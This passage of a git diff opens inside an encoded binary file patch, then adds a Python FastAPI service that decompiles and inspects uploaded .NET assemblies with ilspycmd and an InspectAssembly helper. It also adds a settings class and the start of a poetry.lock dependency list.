z>{k|RK4h=t3_k7D2`fVA;z$uF+9sPNX^UKAukF#%F!-hqV9>0ADT=SYyz)b(vg60J ztu`BSzTt)+c+ukCFcfrre;dlH$uex#qwCp16KFhG<57DSiD}}r98Nuu=^izNrt31L z47=vhY#-bS1^*hA2{eAJEuFkJH$iE5aVt7}VJA zr#$>mgx6_6cZ79(%h2>vGDi4-gJG=UJd)S>(N9Rdql?B&2k>MUc6&>P$4LeclG4UL z4S{7&IjrI1XBa8223StBe!yY$fOUir9ZkU}C&DdF{9W0^-(?-vu5wXwS5Q+BR8EjJ zYRO{y=5F>PVxIz9>6#2IyDMqSX$O_D&4fd0x0uN4#nJ`3qx~Qv%*Oq3SIQnu@7k_;3e_%k%(uYvx2Ea&BAWDVTl_a8Hlyf)%AFnB!n4Or;Hubz90l8V`PxJh!Ur zJlJuDAJk#Drz813K5F^a@|4C}o-D+*mbcHfynWPx@8RUoKDsn?C~J!3tm>igj^@_x z1XWJEO+?Ep?rjyiYtP97u7@QGF>3V9puT@B>hf@?JEZs1qIlc@!ALFO$}ycCN++L<59keSyVZT}FY5|a)-;V39%nQw*xT~Y0k7?ZqQtwQfN;2zkXiQB@s$E*`SQXWHO*21J`R(F$YVk(*wTo@O=t^;%!IaKRB2GM zo{ph!)`T8wNoxDX{8i}G=9Tuz5KVN=A(~HU{EUm_w9@+iB89MkRLY+Zw0b=Q?~sG% zXnV*&$V*Kt^@M!+SUZcFV<>7NPq~n%EM$fYnPHAu&N0iP*$4&lrH5EMC74yTC$if( z+?87>^KhJ?nV6w6pox{mzv5*c(x5A{EqlUvNSZU%ssffe1webjwX&qEoT(_}BHg4h z5vwlvNZ(M$$+M_g4#iD}aEEq~usmbcQ$A#6vVen#&Q;_-ei#puC<<4-2k8~t$3ZE4 zt5W$^CGo9FW{3+j-%l9(*0LZt3q5WI4}$ev9C-_2K8nmo;d~TUflrpz7b2{H1%cE_wu7~- zOb9D%fur0(Ep(qE_YoQVTn%j@#ClrbSCX-o1^8xxEX)KKWvml2)>4;?pLLmYN#P<- zZD-|U%Q!s9$V9iC5H84QXLdn$2EKP@`?B~b9+eC#fY)L3m}$W52V+_U^~`Myv*w{j z9<&peOtOr4A<5h~HMeQq7LnM|Nwee2e(2JSw6Ab;UDgTk_OQ*}IS27jkWI>xYd)xi zfMEGi`Gi>0*+Y}GZjwa=lm2=Z$oBs6Hi+w%IflW!KWnyhaV#qG>`FCLuiOx(IoYbA zvlug18{L?URYR{vVk<#ha-%H`Bt{ zPs9cEm-s|@d4PiGqgPgufwHI{H=D(H$~oEHVYIg{h|@R*WXQH2b1cWX687Oui*z;b zwf44`J=2!hW~S|R2bW-rdS11@C195*`0jpj%?N75WN_Z%6r*;4=xKImXP zXn}e{iL&`0?PsDm)vm4ZPQmTiXp^!Lq@tqX+lbKo!c6-(*X;p^LY0i4NJHaMI%Y{! zNs*yFz!J!8kG*)@KF#0bsTk&=fd_*awp-XHQA-MVr3WYjksTQrK9Uacr-*9k4(@RC z{RTyu-|oMC4T zTlKnhG14o=W31v`Akf-tn* zBqDqyd5sgxqn*qkYl{VI!Fcj#D2{e!@TWp>__ct;bXs?bqZQ*|-Yj0`o5h`&v%HG@ zSxjGHaIOX$2Wn=q6n8gVKY)vv6 zWUMHfWort>7Htm^EUUp6akF>Y%;U{`-ONK~PQla`cTD!S%X~?|=9u+atn6b~`h({2 zq{3Foh{;%Hp07EL64_J|_G+7_?bQ|lwmHj#T@?l{-v!$iN_p_CuOjWhWH)2} zELNdpO-?H{FjukphO2tbt}SF~Td0s5jPXzkD{gY2u-IcA^2LH;u-;~-h|S8NOEk!8 zlCx=hiP_v90s*%@1b&V>v`isuATygn43H5a)hNtT!ve}0B4$#R!~`j^IWa_XjVuJ& zl%fM^+o4RM%QDu=Vr6JcaF(;y)(qa_bi#dU+rhNWS+fn#sf=cC}%H$z)wtid~9^yi$-qM`p47 zIWpO$U!`_iJZIifI*TUkX0NIR8jW$58gjM!7(=9fVJTj8UKK8HM&J%Z8+a=zBUAy1 zn*AxW&oFbA`5YgVd~m1gmC>ZoeZhb@y)R>3W$D%{#*l;5kqJ~wrDrm8v&_MV%|2k} zjb3_sr1+vnEkd)_fWcSQ2JUO!}Jlzpig(bg067I3aGmvWXu+|_C zHo}CwVmk{sUFQbZg{Qv1H@<02PxtccTN9i5J9@g;wfFX1*B2t59VPUV?IADOvL?$~ zzpypd*s!p!VZ*`=8{)Cr1r7BLjT;u!wbUmTG}OiF7PT#mH^o|8>llZdOB;qY(M9wWu@dXR(8k-WWwF}#7YwKDQEp06= zEp_p_rrL(4g>9{gM0^8ro9g57MfI@_^>wwe`VB3K+P1nywY3d(jV-N>z=L$H3q3En z5lY9$QhHsYufOmA5&B&vbO(fP9ZTqC1Kshij@EaR)U7RTO>K?!;+D1q^RLA}YOQN*ShT1Xc1SE(kZ5VCZG?fF8W+?z#T#oEHZ?7TFI$@6#nzVA z4Y9Vy*2WDR7Pcgs8siJ#)kTSg3mV&E@z#Z{ZSe1crnWd-npj9^8hWe(Kg$=E( zwY6=nT$?;Q>fQ15vQLf-N7 z)+}GQwm;t87VmAFb7`Wt4|#OfwRQ8DOjuVj`P|-kSK_*!-VZP9=-bp8A6SFan;7y+ zGBs((n2Rn+bSC0`3D27q@=jUWvuU8WV`F=N^jlwuo==j#sEa@Mf{yNuQDjq-=PeC+ zXPaCDfoMlxG#=g5vuR6byf@lT(z%-wy&HOZyW-ugiRk%jFI*Gd5TFvpKPt36uPWq~ z)z;68&8wYP*GT1gUPH*6?|jaPCl+mhIEmVNWYD787C57}2@2Q7Ya3#V7Hw#WBiZU| zH+Wt-0y;p&^G*tRCj>6bCmPTv3RyhwtdLiJNn%q^Uq^pW@4))r&ePlb`#1HycmDj1 z9sTWFTIRL(bj`O?ueo4;hE68L?YwwFqI>T8wRV6Uc|SkoojxX(MZF{uZ%g!^(Y*G< z9h;W)4Rp7j-FEfWwVro&$XoPI@m)HZOS;>Z^z|ir`_swmJa0+JYd%`?CB41zftB6; zJ?9McC(MzC(CB%KL*AK3h0xu$y64)&x}K#y-TjH~3%xV}H2-m)H}L_j~7p6Y8lTB?iUy?u#`diwe=jdyNIqzg};?+bbF zJz8qzD74S*=qQ~2;b`d$>s*Zec6PLs!gy_e zFOAb`eanUoiQaVXh?M0aZ}HJ!T-4jsn&|6W8t?7xh;K|>lIY*k+nokd3+Fb6yoE=F zBFeAt?r804%g|j+b1VcsfvNFhM%z_frpVO!dqZC1(Tcn}-rw4u%PqB3^@Snt{9{l0 zek9(y-grkRtg|+;Dc&1LCZu1&1$-ayOmAIQL>I{%Zf z)+9E@$A?Ar9t%yg@XFvp{T{pc>+PWr&MHMcHL@(^z3*rgQ7d!=8Aq7Z)0B@%nm9SI zc}q`!q7Bh91{LJ^u{2GGN@u5pLYfNo$b@5QAS+OcIumQQbarNv9-~N5zK2QwdN}G> zyARi2&i=W9tQrIQZ&*WkEJmO$suZeU7C{{A>w}~^D&)FBP3+> zPyP6%jr>JpmRdrSx3v#(i-Pe;zVzE7R766 z`A5=!)g_F{zCW=s(VN?b>L8m2E=NOR8T<PzWQ=0U3)cYR_L$df-O5)?e0ESV3 zwE8p_l7h!V&TI%{8lnW!k#zZNa%O`VucxkuAn(+mgKF{NtcNe?V6*gU$(CcGMus&Q zQRE1AHHUZVP{yE;%M^{^|9dCaIQ;icypS6By%R5@Kl=R>(~^&ceX>d3pF?t{NZz?W z8bkBLG;Foz{{-7y62C6D+G?eq9%(!lWWHoeKV#UgO`Qow!ofI>#&;yy8KetjkGWm* z3sNiFBgxJnxqa95d^nNme(OngBql#R*;;12+G33K&~0=hQ}V7&m2r+cmMXXw=5k?5Ou4zp(q8kTo!;7iBp zENRNuA|()}QBje-!ez z*p#7LF^OIq@9bz}G}Y4`ZIAawTM~)xXcx0nZPEUoXh(lvwCB3+DC6%BGi@<1x;BxB z1`~SMU3cBQ?#wcbCiXtWQcRz%#MnG!S5I#u+Lq{N2;4W%O+St;_^OWX&GVLD&or3k zR;d{iLwz=#S9=XjYP@-@!xGUZuVpx9sT!23KIF|CH>>llqxTtLT~C^akRMFyp7D-p zR`oD#m=;vy&$<|D=V!@?akCmv!i|%1Y=+}$wCQ9}xm%4xg3W}ZX4%r{Qoiw;*tn^| zUel5}>5-1(4GRxTe_jF}>}yRhW!~Ly)u@qOZOEH5K53oSbVl>oq8^z-K?-tO-o2$O zVY4c#c_|Cy4Wb;5K{D6$gPI>Bd66|Y#GL3oG6I2=KD=fj(vcZ2lPssK2!tau9^LX8 z%}aX|+5HSPsd@bI$!Qhucp#_xAk9$|LC_^EDD*K;WEIzd7IWl^^K)9V0U^0I(YZl2 zpg~(*$ea6)xSf+=i6RjsX{0zuCUuZWcXv;}$tWinni{Tw)JHAQlCjAcmyM^AI|e~? zT@>$cpJxI>J?Hi3c68b}ZTa7JhwBwm4Ti%axIuR}j!)lCZ$xyczwYo@s$iI~_pFemDRWA>LWf&RBMI!xyy7uq^9nm97x)9dL6{z1P&8(R`RF zhKa_T$8_{g3&QgQ+p3Pf{&Aqt#{CPV!`u_i!m6IkWtWIS8c!)P8f^pCivHEPJwv*j9tf>SnW(_59&@7#{4C6C^ z%aw3y5IIsPh?M5$bs_IUO?A78!oEaTOXtA3+WydgIHd98*=mI-nQ0<}_dxQ`UXoxj zH-Xj@h`Q(|e>vrF&}z|##Yco)+o3Y0(=lvfBHY^l%EO|+S7EBtzIlg*r9qt)oi#gp z*4fcsU;KLB;9r64-M(~Q4FMRKu1&;yTieg=jBo7A#dTc|1Gu)14FiTlmy1olPSBfl zvIfnjk)E#T5k$W6AHzV_tJ@L=2qB-YCOQHii)dG(zr810_B4gOdKZ}P*mChxg=Yn& zt9g(H_s8S(Yx9;eLEO2NDFDrz=E7o8biA%`UT#!zBkcYb%q z!9`E~=3_5?xaQ-R^gq3<>B(tbWvATptG{~clq+YmE$Z!M9hbkf;j5QyJaNW(pZNKu zfBxI<*k`xDKJnLA{%rEMc3<$(ZNKP;KaduYYrig6toym@S!}r+41}k+6Tv3R8qi8Cm}>S-WiQ*Ds&^Z+Es7o%gk8 zH~wk!%zusx#{8@2ukCFeD`)2Sw0vm3zXNK1ccQ<~-%rJMp|MftZE9=r)~;Am*SNqN zn*oIgpY{*m{CGvT6{n zl9<=l*%`!tdnRBi%W$f{m%5?7sZuTIB|Lf}uY%u1epUPey1WO9}@Qvzknh;^km?9GbKjt1}qGbpF**}uSlp0}KrHr+p=D*8eOqn+wZ^`~DDKN}a- zUA9{k3(BK!c9`v-i2;{MZd$|| zKc&Lg7zFqBZty6s{6FZONV=f>%ZPROL(YnKc=<9V6(yCUUKsAhjPgqNJfjv9pVVmv z{-wb0C5KFX)Oz(6cOLK9&m&zU|7$%~ANjY!n@n2OZt&)@ULenuYP>Sd%fhsc*y^4> zJ!`!Y3_FcVo1l+sU-i&W9Mx#9U)1{oB{|=xq3SX_zq#H8q}B_@Dy?{g89)A= zPEOf*IZo8;)p`e8^(Ss||1PrfUFhQ>Xu>Y23%OM9xg~=~EX`jk!~gsDdr|=PPI|^g5^VqP z-~V+Km^GauGq)8>O`ldc;q;LeBflvR6@_=Drcc1DfN6-@iLvs+3D=CQ2qp6J!=VB% zc4cA78HGH>o>~|V_wT%J98cp8BEE z#h?1q(t%%o@!Xl$38s%}r~rIAYfEDj3iHNoC7AHg+s!T{F6} zyS4Usu*AD`Ql%DN+X!kUNarbP&xp-dP~N2Xq*JWmm`IcZ4qJNdkjU~&qnGsb^hcL2 ziA_JQJhq^gLpbi=6~~oxoF?P^Ka5Q(^qy>TP(696&_t>;R1!`xzw~!cz1;Vc-#+`d zFVCG@_ql(4Ir+XPpPsq$E1OUM_H(y2Z2U|~_5D|Od~WfV9{cK-|8(yicYk5YTln@_0WYa7k}f>;|G7( z^gn)F_;T^~vd3mES^wMbU2*f2KiPbs@tdoAC!F<-_cmShf$M5dyyb7cGh_KDKYwqR zH~EVEuYPUPPcJUHW66^DtVzU2lS?l8+`yGL|I6{`zyG;;Ke?)U?VLZkOZ1Y8scO^1CIw zo9-!T`_?x%Ty^`_NAH?Bee|jmE-H;io?7y^-K7^dJ#@kM!ti3~FI!{rSOryFGcgo; zJ3k+`8i`Gmdy?D*u{=Jp8hKRYPtBkFrL(`?k$32u=Y^iV6j>70-M&Gmo(!ym65*!=yMPrfbm&+A7&Iiv00 zKf2+mf7!9{>D>)q>iES@B(jTusuQq=C&o6s?c>bE$zwfG@ddd_3>qm*H z_22vE2`BD4>(F;U__5lLT~mDX+_J(eFZt?YZ;CBr zhhCXC=`XK4aMJm)RQ`4v^MK!wi|$`?%V(!g-d2C&BmeT%NkgY(b8hMX7Y(_#Db`T8 zu(qzDws8>+xh~royCPStQ1Ng8Vr8O^heglr*}@vV)+A{A^A(aeY1WvKC{vO;_0h+C z9kYOIJ2q<1j)ch3n(d<{fBoWT8j5du;HsaTzIwri?{4c{SzKLQb?eT7pWXPkL-Q&_ z2R<~ZVfuF-TCsZN{F5HM`fK0)>%za^+jmX4|F-b+g^gdn`#azJ@y?I@YOvzvJMJvn z^2f27FaBM@?#)+y@YaRhYrp@K=PH^%-gf=U%S+$0_ZxTReRJ~Qf)yw3Tz~ugYd)Wv zIq%|+?fcaGzx>ZX`skVYx861Nls6wf>96;{yzu#br@mAfzv9F3A8q~RJzak@;a9(D z_}Q+4cyaT(feU`LW8l}5S~~vyFTXs0UXZ)v~%>>n+e zRsZqdRhFDmdG3$q-ScE&sQvTtio(Ih=x08$Jes(t{ujkFe|e+#^N;L2`IMjC@xIcx zZ{F!Q+f?X%Q0mOAmifIaKk>zzKJ~k$J(pf|Nx19!H}8G%OIIAdWsYt7>K|%m=9k4v z3XAE<3JQwy@?sHrnmj0u6(SE<*NHU*;h|9etk|is8G$<%8kwejJeV`cYeZJL_|z&JX$&M{?d!qj%i^gl>X-2$L{{szmeQe7uca$XsxJIa{*32` zYpy@xvHZ=CRZiM{#+1vi`LnOyf9T488BWZ5er9Fl(_Q~D^9xu1^3&gle*Zg5e*NL5 z&(_{J@aJ{w9{b`;rHelOXAdvhc1mj7U){CnnVat_x%Vrb6Mwtr->!W1hORw-Q#rr? zwYNXfvZDVV_D%WXWxxIE%&(uZ{~y-<^78v1xT5gWd$)b3=%=4NtM#&_-+%eODTSwY zo;%~hOTPYaMGM;af#{-dwNQUwU5{6Hv`Y`*LMZ~fV?zjJHiyprbV z+CLdXvj0*sfG$znR2!>nOzRSLND~eZ+X?$CV##f_lZ`R+3nrB=h}B2yn-)c53z~8z zldt_0PYPcbudTF>F286Jr)Jx_db-m6O+_`t`m{MJ1?=C1hd<8Kdr;LcBc^fM>?=%w2>e&7rF%TB%f z2S2X);Ac+%Rejk*Pkp(5*+|}L|0DIg1DkqA=bd}zd%keu>%VEZ;r*{XSib+Z$G%gz zZsKcSxU%=;f4%%Sv(Jb(9{>I)KUwqJJ1%`_{&g4a=xcoZ)$<;@KRLdC&;R(~J>OsU7iHg@vFK+fUG>ugB};$uY}Ms8|MEy({68M}*tWS&*+_+_ zqr9GwBbLUMTN#DpgR$jLURUy!pUwWG50rj%((Hln|Kx|KB7A81RrzycXY86CwD;n? zT{W>2%Z^{acJBL^tX;8k&3WrCTr)R|Gji3OqCwMz50iDtJDrG1ZjU8D9$UU^>8>Rs z?>nN9qPxrVc0re>9?kF2d`Wc}n1)dXuMr=(tSVd2JP z8AFs^%&v?VDfJ+`^|xy=AZM6YiAU#J@c_wp8jp>SFb#DM%gPno_g!-iaVE7&pLHy+?(^I z)WC7A&wu?>zkB}ptFGO-{eel>UD3Mi#=l7|Tesxn|MAR$gCG3-->rP&*7+~KdGo#N zFIn)uA7Ak08BeD6&X{%1&zHqtS@Op-X7yJ6*~mYA`suTlhqit6k-z=q|1R##!=c*$ zIL;W`m@yM0>sSUwp)=GZaxK}0D~3{8ZYDb^VeFA( z7V_9BE*~&u>kh|h0h%N44@f9vm> zeNM3COzr$}_mud&o&`L)o%0;u@szRI`r)*R_4Nj*oX%f~8Sd(r9_()x_SBTB zF>Q||i$u2&$U3*yq?Y=>n;)?I_!PbHq+{Unqm#R@b$h`NubaGIjd_>gqhg+m3e_(> z7-E*w`6?72nZpGYyC)j?@!GW{>1UZ#hw=25wF>8X!c_ccJ>C+JaWusYyorFTR>3Vg zjr&53d@whMj%B&fE_XFGF5Firjtw_l@PPt2?XfdLnZgKrvInRNv52rNYn;JezPG!H0Pv;!QY%fiIVxk|=ic%`Mj z1649)W;k%-L*w?f!bPZ{a=%;%zj+%B5G>Byd2B1344^C|nE)7P|p! z$$)h^06;?nZ%3oRwt^;Q9;Bz?C3->_nDyPzid%5flY5BfnCxXg<4k(;``Q)!d<^o1 zV_3FSmU%Pza|{AL_dqa|W&YI>yaDawyTmb|fnio8Vb=R$eip+JumRQ)S!@EPU+@Xhj5BTTo$UGio?lK$^LNOIVb(;>)JMk{;kTzDG<=!z8Nv?F0sb?}AaQvp2C@ zYmGrYj7+vjuYg-su0zdZS`MG`hW|by;b1ypIMk3$dLVM@fZeqPcY(9cb9k?)S>>7D zjlR(@AYxO&K6OVw-1Pxt46nf0*9rAAR7dH+dxLiZ1GQ{AJ0IKOQ|_Ga-z2G3O``k1 z+3BN^5bkKCYF=tJtgp4zHs*PneA0U>#Zi~x-p47M_Eg5ojtM5KbjkNjTLc>qa2>}f zn>oO731*3Lx8DPHAJ8Qt`w#9Q@XxK2w|ST3JStIaUy1>mvOOsk&pz4is*}l$Exr+I z50l+w&VTQ8K~mW)-TB1Mi+)n$IiZ~XGvf4l1c6!)zVw+HbWk|2fk&!hg$ww4{$YYF zMv)nPuptRo ze-DznDv24i`R`mJCgRIsEtc18kfuKbQ0fK(eB3QC|ffiv0YbRH;2&@s! zyp|Rj&((!s$bKO$`lo5I2jro)?hsuKBhf7-bO6f#L_mtaH)| z-tIUTHd4{6kB$Ern`g|m^V9TvwM&rmetB!p{~g4hdS|+fefE1bNlRhOdo#q5h>YrKUFz7)f%Ami*@p!Uw(Yh10!i`v zBMK^#-Ge{iGyB_=dhBEK6E=aU244A4@g)U>XH%qgWNs%j3$w94jJJ3wc7l= z0xAI5&oU&*I%(|U$Cd!&@Sw_p!O^11F%w|6=6@o@-;>As4)t;K2Pu)gf7VjY+}^fJ zX-}2BS+gLokp>ZUwBy533y+AAD%x~XdE8(|gR|Vp%m(4QJ&$koNAS_T&>WiY)ugq@ z@8`c$-#5SCRktsDY{1xrM`Cw`!1{>BJO-`r1y)yZA>#DMsq?kiU&Jo08Js-B<)a-P z&i{Dau_a4j*FYiv5%0csEDA|(KjOC&cKM~AmP0kMKQ{z@$3j6KaIAZ?-O20HCf@sV zlYf~!jkEe~&h3ybX}xkhl{icpF}9jZ-=I=3NdBcZ6G@HC!J+AwyZ&)$3zO#Vpo;s6 z{w>Ngq4R)lF~MUnmuIuVG8)s2*#id?Lrz$9v_18*vckCt7;Uxh#8IL zl}x9$QE;ln69olwe@ywbAXm+bejsGx1He+1p93dQYJ33iAC#IMtX`nhZ2b|bS(cgQ zASnQdiux?Ap+GR8Mbo6=V>YvX%J1MeGRYeKD}U$U%D(?2(ps&r)#nL@0GI%pJTRu| z2HB1S0{tnt6JVd3RzayFr-fb6O>LBc%h_$H=H86)x^iY_eV$tbf05J6zzbSw$eFUvC*k4;Mt`FyN;lU^g{jEB zqT8#Wx9os=lszLu`uy%@(zm+|$(W+V_Qz|IEDjhe#5yOQvQ{Zkjvoq^p$nid9_tn| z@hvBJrA4PjRHeFqv?0Y8GQ59poZjn+2yfvmtx+OZpK*@HCX!l1(j)eLN<*QUUS6tX2p#r5WaB272&G>a03ISJ7Tu&`kSlV9IFDt7`7VN zO;~)Hd7jznCye}LYa9h)0R|8RCQ3!c{1<8jL9OOhzhbORKw{Z~gN%jv%4UO*wTw~R zIOL+o{9=uPjci|rz;RN51OSHfP;`GcrLh0hjS278wWlhJD$?^6vZq!MnLK4@p0H^^ zBCNof_-<_5sGIcdyGZ)Wt6E_*siNyTD%t0hC5{ryb@%NSI)SRKCmIEgHk}GHygWT= zjZPja58%+ddnkL`k%AGLrQOuo8J((f0kk81&6}ViY&qYP+zVyci404zy+&|L7}Q|G zyQu4}TP6%n**RL?Kee|Y2SGjkP;BcnAyP~VtmpaF;auf6>5@iLHi#?N?Sl6P|LK#{ z)^syIv4%(JRqNO~)4Wgs>C~3;_E++2<4R={iy56=E!=TiW?k=EUhTeJ8m)mkDxH|s z7OA`8j)@{NaBO&Ow-U#zqH-?({yn8s$4qX$q&T$~g3U9k+o?7DHuCRPOwNwIk$8(&&s!|*8ao5JqtFW5T1O?_z@qYo?gj|LI literal 0 HcmV?d00001 diff --git a/cmd/dotnet/dotnet/services/dotnet.py b/cmd/dotnet/dotnet/services/dotnet.py new file mode 100644 index 0000000..66d3396 --- /dev/null +++ b/cmd/dotnet/dotnet/services/dotnet.py @@ -0,0 +1,121 @@ +# Standard Libraries +import json +import os +import shutil +import subprocess +import uuid + +# 3rd Party Libraries +import structlog +from dotnet.settings import DotnetSettings +from fastapi.responses import Response +from fastapi_class.decorators import get, post +from fastapi_class.routable import Routable +from nemesiscommon.storage import StorageInterface +from prometheus_async import aio +from prometheus_client import Summary +from pydantic import BaseModel + +logger = structlog.get_logger(module=__name__) + + +class ProcessRequest(BaseModel): + object_id: uuid.UUID + + +class DotnetAPI(Routable): + cfg: DotnetSettings + storage: StorageInterface + + def __init__(self, cfg: DotnetSettings, storage: StorageInterface) -> None: + super().__init__() + self.cfg = cfg + self.storage = storage + + @get("/") + async def home(self): + return Response() + + @get("/ready") + async def ready(self): + """ + Used for readiness probes. + """ + return Response() + + @aio.time(Summary("process_file", "Time spent processing a file")) # type: ignore + @post("/process") + async def process(self, request: ProcessRequest): + """ + Combines the /decompile and /analysis endpoints, + so we only have to download/decrypt the binary once. + """ + + tmp_dir_decompilation = f"{self.cfg.data_download_dir}/{uuid.uuid4()}" + tmp_dir_analysis = f"{self.cfg.data_download_dir}/{uuid.uuid4()}" + + nemesis_uuid = request.object_id + await logger.adebug("Dotnet /process route called", request=request) + + try: + with await self.storage.download(nemesis_uuid) as temp_file: + temp_name = os.path.basename(temp_file.name) + results = {} + + # create the temp directories and copy/move our downloaded file to there + # TODO: Use the tempfile python module instead + os.mkdir(tmp_dir_decompilation) + os.mkdir(f"{tmp_dir_decompilation}/source/") + os.mkdir(tmp_dir_analysis) + shutil.copy(temp_file.name, tmp_dir_decompilation) + shutil.copy(temp_file.name, tmp_dir_analysis) # this is a move so we don't have to delete the original later + + # decompile the assembly to a ./source/ project using ilSpy + p_ilspy = subprocess.Popen( + [ + "/usr/local/bin/ilspycmd", + f"{tmp_dir_decompilation}/{temp_name}", + "-p", + "-o", + f"{tmp_dir_decompilation}/source/", + ] + ) + + # examine the assembly + # TODO: work out how to call the method directly from Python w/o subprocess + p_inspect_assembly = subprocess.Popen( + [ + "dotnet", + "dotnet/services/InspectAssembly/InspectAssembly.dll", + f"{tmp_dir_analysis}/{temp_name}", + ], + stdout=subprocess.PIPE, + ) + + # wait for both processes to complete + p_ilspy.wait() + analysis_output = p_inspect_assembly.communicate()[0] + await logger.adebug("analysis_output", output=analysis_output) + results["analysis"] = json.loads(analysis_output) + + # zip up the decompiled source + shutil.make_archive(f"{tmp_dir_decompilation}/source", "zip", f"{tmp_dir_decompilation}/source/") + + # rename the source archive to our new UUID and upload it to S3 + shutil.move(f"{tmp_dir_decompilation}/source.zip", f"{tmp_dir_decompilation}/{temp_name}") + + # not using a TempFile here since we're removing the entire directories later + file_uuid = await self.storage.upload(f"{tmp_dir_decompilation}/{temp_name}") + results["decompilation"] = {"object_id": file_uuid} + + return results + + except Exception as e: + await logger.aerror("exception on dotnet /process route", exception=e) + return {"error": f"exception running /process container code : {e}"} + + finally: + if tmp_dir_decompilation and os.path.exists(tmp_dir_decompilation): + shutil.rmtree(tmp_dir_decompilation, ignore_errors=True) + if tmp_dir_analysis and os.path.exists(tmp_dir_analysis): + shutil.rmtree(tmp_dir_analysis, ignore_errors=True) diff --git a/cmd/dotnet/dotnet/settings.py b/cmd/dotnet/dotnet/settings.py new file mode 100644 index 0000000..b792f59 --- /dev/null +++ b/cmd/dotnet/dotnet/settings.py @@ -0,0 +1,8 @@ +# Standard Libraries + +# 3rd Party Libraries +from nemesiscommon.settings import FileProcessingService + + +class DotnetSettings(FileProcessingService): + pass diff --git a/cmd/dotnet/poetry.lock b/cmd/dotnet/poetry.lock new file mode 100644 index 0000000..f771941 --- /dev/null +++ b/cmd/dotnet/poetry.lock @@ -0,0 +1,1991 @@ +# This file is automatically @generated by Poetry 1.5.1 and should not be changed by hand. + +[[package]] +name = "aio-pika" +version = "8.3.0" +description = "Wrapper for the aiormq for asyncio and humans." +optional = false +python-versions = ">3.6, <4" +files = [ + {file = "aio-pika-8.3.0.tar.gz", hash = "sha256:c0e2601eda6a1097fe1d33c5f9965a86a27b328ac48914d20c23f675b3ab1797"}, + {file = "aio_pika-8.3.0-py3-none-any.whl", hash = "sha256:36c4742449f1cbcb83165b3733b090cf88f3d2f7f027225eedb8c7f300b05dde"}, +] + +[package.dependencies] +aiormq = ">=6.6.3,<6.7.0" +yarl = "*" + +[package.extras] +develop = ["aiomisc (>=16.0,<17.0)", "coverage (!=4.3)", "coveralls", "nox", "pylava", "pytest", "pytest-cov", "shortuuid", "sphinx", "sphinx-autobuild", "timeout-decorator", "tox (>=2.4)"] + +[[package]] +name = "aioboto3" +version = "10.4.0" +description = "Async boto3 wrapper" +optional = false +python-versions = ">=3.7,<4.0" +files = [ + {file = "aioboto3-10.4.0-py3-none-any.whl", hash = "sha256:6d0f0bf6af0168c27828e108f1a24182669a6ea6939437c27638caf06a693403"}, + {file = "aioboto3-10.4.0.tar.gz", hash = "sha256:e52b5f96b67031ddcbabcc55015bad3f851d3d4e6d5bfc7a1d1518d90e0c1fd8"}, +] + +[package.dependencies] +aiobotocore = {version = "2.4.2", extras = ["boto3"]} + +[package.extras] +chalice = ["chalice (>=1.24.0)"] +s3cse = ["cryptography (>=2.3.1)"] + +[[package]] +name = "aiobotocore" +version = "2.4.2" +description = "Async client for aws services using botocore and aiohttp" +optional = false +python-versions = ">=3.7" +files = [ + {file = "aiobotocore-2.4.2-py3-none-any.whl", hash = "sha256:4acd1ebe2e44be4b100aa553910bda899f6dc090b3da2bc1cf3d5de2146ed208"}, + {file = "aiobotocore-2.4.2.tar.gz", hash = "sha256:0603b74a582dffa7511ce7548d07dc9b10ec87bc5fb657eb0b34f9bd490958bf"}, +] + +[package.dependencies] +aiohttp = ">=3.3.1" +aioitertools = ">=0.5.1" +boto3 = {version = ">=1.24.59,<1.24.60", optional = true, markers = "extra == \"boto3\""} +botocore = ">=1.27.59,<1.27.60" +wrapt = ">=1.10.10" + +[package.extras] +awscli = ["awscli (>=1.25.60,<1.25.61)"] +boto3 = ["boto3 (>=1.24.59,<1.24.60)"] + +[[package]] +name = "aiofile" +version = "3.8.7" +description = "Asynchronous file operations." +optional = false +python-versions = ">=3.7, <4" +files = [ + {file = "aiofile-3.8.7-py3-none-any.whl", hash = "sha256:4c38991b1227e221296fa05bbc95bffba9c203fef1ce09ad3076cfe7b61842c7"}, + {file = "aiofile-3.8.7.tar.gz", hash = "sha256:a8f9dec17282b3583337c4ef2d1a67f33072ab80dd03608041ed9e71b88dc521"}, +] + +[package.dependencies] +caio = ">=0.9.0,<0.10.0" + +[package.extras] +develop = ["aiomisc-pytest", "coveralls", "pytest", "pytest-cov", "pytest-rst"] + +[[package]] +name = "aiohttp" +version = "3.8.4" +description = "Async http client/server framework (asyncio)" +optional = false +python-versions = ">=3.6" +files = [ + {file = "aiohttp-3.8.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:5ce45967538fb747370308d3145aa68a074bdecb4f3a300869590f725ced69c1"}, + {file = "aiohttp-3.8.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b744c33b6f14ca26b7544e8d8aadff6b765a80ad6164fb1a430bbadd593dfb1a"}, + {file = "aiohttp-3.8.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1a45865451439eb320784918617ba54b7a377e3501fb70402ab84d38c2cd891b"}, + {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a86d42d7cba1cec432d47ab13b6637bee393a10f664c425ea7b305d1301ca1a3"}, + {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ee3c36df21b5714d49fc4580247947aa64bcbe2939d1b77b4c8dcb8f6c9faecc"}, + {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:176a64b24c0935869d5bbc4c96e82f89f643bcdf08ec947701b9dbb3c956b7dd"}, + {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c844fd628851c0bc309f3c801b3a3d58ce430b2ce5b359cd918a5a76d0b20cb5"}, + {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5393fb786a9e23e4799fec788e7e735de18052f83682ce2dfcabaf1c00c2c08e"}, + {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:e4b09863aae0dc965c3ef36500d891a3ff495a2ea9ae9171e4519963c12ceefd"}, + {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:adfbc22e87365a6e564c804c58fc44ff7727deea782d175c33602737b7feadb6"}, + {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = 